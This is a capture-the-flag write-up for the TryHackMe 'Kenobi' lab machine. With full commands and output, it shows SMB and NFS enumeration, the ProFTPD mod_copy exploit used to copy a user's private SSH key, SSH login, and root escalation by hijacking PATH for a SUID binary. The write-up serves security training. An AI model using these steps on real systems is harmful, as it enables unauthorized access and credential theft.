today's CTF we will cover a Kenobi made by www.tryhackme.com the theme of the machine is star-wars  ...

Let's enumerate this machine and see what we're dealing with

root@kali:~# nmap -sC -sV 10.10.68.87
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 11:36 UTC
Nmap scan report for ip-10-10-68-87.eu-west-1.compute.internal (10.10.68.87)
Host is up (0.00093s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      39562/udp6  mountd
|   100005  1,2,3      44287/udp   mountd
|   100005  1,2,3      57415/tcp6  mountd
|   100005  1,2,3      58933/tcp   mountd
|   100021  1,3,4      42750/udp6  nlockmgr
|   100021  1,3,4      45283/tcp6  nlockmgr
|   100021  1,3,4      45523/tcp   nlockmgr
|   100021  1,3,4      55170/udp   nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)          
2049/tcp open  nfs_acl     2-3 (RPC #100227)
MAC Address: 02:8A:BF:E2:69:EE (Unknown)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel        
Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2020-04-07T06:36:48-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-04-07T11:36:48
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.60 seconds

root@kali:~# gobuster dir -u http://10.10.68.87/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.68.87/
[+] Threads:        10
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/04/07 11:43:04 Starting gobuster
===============================================================
/server-status (Status: 403)
===============================================================
2020/04/07 11:43:22 Finished
===============================================================

after trying to fuzz for some directories, we didn't find anything so we will keep enumerating until we find something, I will enumerate SMB in case there's anything shared publicly

root@kali:~# nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.68.87
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 11:45 UTC
Nmap scan report for ip-10-10-68-87.eu-west-1.compute.internal (10.10.68.87)
Host is up (0.00017s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 02:8A:BF:E2:69:EE (Unknown)

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.68.87\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.68.87\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.68.87\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>
|_smb-enum-users: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
root@kali:~# smbclient //10.10.68.87/anonymous
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Sep  4 10:49:09 2019
  ..                                  D        0  Wed Sep  4 10:56:07 2019
  log.txt                             N    12237  Wed Sep  4 10:49:09 2019
                9204224 blocks of size 1024. 6855348 blocks available
smb: \> 

Port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number it is prepared to serve.

In our case, port 111 is access to a network file system. Let's use nmap to enumerate this.

root@kali:~# nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.68.87
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 11:54 UTC
Nmap scan report for ip-10-10-68-87.eu-west-1.compute.internal (10.10.68.87)
Host is up (0.00025s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .
| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwt   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log
| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_
| nfs-showmount: 
|_  /var *
| nfs-statfs: 
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9204224.0  1858288.0  6855340.0  22%   16.0T        32000
MAC Address: 02:8A:BF:E2:69:EE (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds

Use netcat to connect to the machine on the FTP port. We can use searchsploit to find exploits for a particular software version, Searchsploit is basically just a command line search tool for exploit-db.com.

root@kali:~# nc 10.10.68.87 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.68.87]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

You ought to have discovered an exploit from ProFtpd's mod_copy module. The mod_copy module actualizes SITE CPFR and SITE CPTO commands, which can be utilized to copy files/directories from one place to another on the server. Any unauthenticated client can use these commands to duplicate documents from any piece of the filesystem to a chosen directory. We realize that the FTP administration is running as the Kenobi user (from the document on the share) and a ssh key is generated for that user.

root@kali:~# mkdir /mnt/kenobiNFS
root@kali:~# mount 10.10.68.87:/var /mnt/kenobiNFS
root@kali:~# cd /mnt/kenobiNFS/
root@kali:/mnt/kenobiNFS# ls -la
total 56
drwxr-xr-x 14 root root    4096 Sep  4  2019 .
drwxr-xr-x  3 root root    4096 Apr  7 12:00 ..
drwxr-xr-x  2 root root    4096 Sep  4  2019 backups
drwxr-xr-x  9 root root    4096 Sep  4  2019 cache
drwxrwxrwt  2 root root    4096 Sep  4  2019 crash
drwxr-xr-x 40 root root    4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff   4096 Apr 12  2016 local
lrwxrwxrwx  1 root root       9 Sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root crontab 4096 Sep  4  2019 log
drwxrwsr-x  2 root mail    4096 Feb 26  2019 mail
drwxr-xr-x  2 root root    4096 Feb 26  2019 opt
lrwxrwxrwx  1 root root       4 Sep  4  2019 run -> /run
drwxr-xr-x  2 root root    4096 Jan 29  2019 snap
drwxr-xr-x  5 root root    4096 Sep  4  2019 spool
drwxrwxrwt  6 root root    4096 Apr  7 11:59 tmp
drwxr-xr-x  3 root root    4096 Sep  4  2019 www
root@kali:/mnt/kenobiNFS#
root@kali:~# cp /mnt/kenobiNFS/tmp/id_rsa .
root@kali:~# chmod 600 id_rsa 
root@kali:~# ssh -i id_rsa kenobi@10.10.68.87
The authenticity of host '10.10.68.87 (10.10.68.87)' can't be established.
ECDSA key fingerprint is SHA256:uUzATQRA9mwUNjGY6h0B/wjpaZXJasCPBY30BvtMsPI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.68.87' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$ 

and here we are ssh-ing to the kenobi user 😶

kenobi@kenobi:~$ ls -la
total 40
drwxr-xr-x 5 kenobi kenobi 4096 Sep  4  2019 .
drwxr-xr-x 3 root   root   4096 Sep  4  2019 ..
lrwxrwxrwx 1 root   root      9 Sep  4  2019 .bash_history -> /dev/null
-rw-r--r-- 1 kenobi kenobi  220 Sep  4  2019 .bash_logout
-rw-r--r-- 1 kenobi kenobi 3771 Sep  4  2019 .bashrc
drwx------ 2 kenobi kenobi 4096 Sep  4  2019 .cache
-rw-r--r-- 1 kenobi kenobi  655 Sep  4  2019 .profile
drwxr-xr-x 2 kenobi kenobi 4096 Sep  4  2019 share
drwx------ 2 kenobi kenobi 4096 Sep  4  2019 .ssh
-rw-rw-r-- 1 kenobi kenobi   33 Sep  4  2019 user.txt
-rw------- 1 kenobi kenobi  642 Sep  4  2019 .viminfo
kenobi@kenobi:~$ cat user.txt 
xxxxxxxxxxxxxxxxxxxxxxxxxx224899
kenobi@kenobi:~$ 

Time for some privilege escalation

kenobi@kenobi:~$ find / -type f -perm -u=s 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
kenobi@kenobi:~$
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:8a:bf:e2:69:ee  
          inet addr:10.10.68.87  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::8a:bfff:fee2:69ee/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:266307 errors:0 dropped:0 overruns:0 frame:0
          TX packets:231976 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:35103632 (35.1 MB)  TX bytes:112553658 (112.5 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:190 errors:0 dropped:0 overruns:0 frame:0
          TX packets:190 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:14101 (14.1 KB)  TX bytes:14101 (14.1 KB)


kenobi@kenobi:~$
kenobi@kenobi:/tmp$ echo /bin/bash > curl 
kenobi@kenobi:/tmp$ chmod +x curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@kenobi:/tmp# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
root@kenobi:/tmp# cat /root/
.bash_history  .cache/        root.txt       
.bashrc        .profile       .viminfo       
root@kenobi:/tmp# cat /root/root.txt 
**************************1f02
root@kenobi:/tmp# 

/usr/bin/menu runs as root it does curl server status and kernel version with uname or ifconfig, so i created a curl file and pushed to it a bin bash call gave it permission to be executable and exported the path were the file exists.

Happy Hacking!

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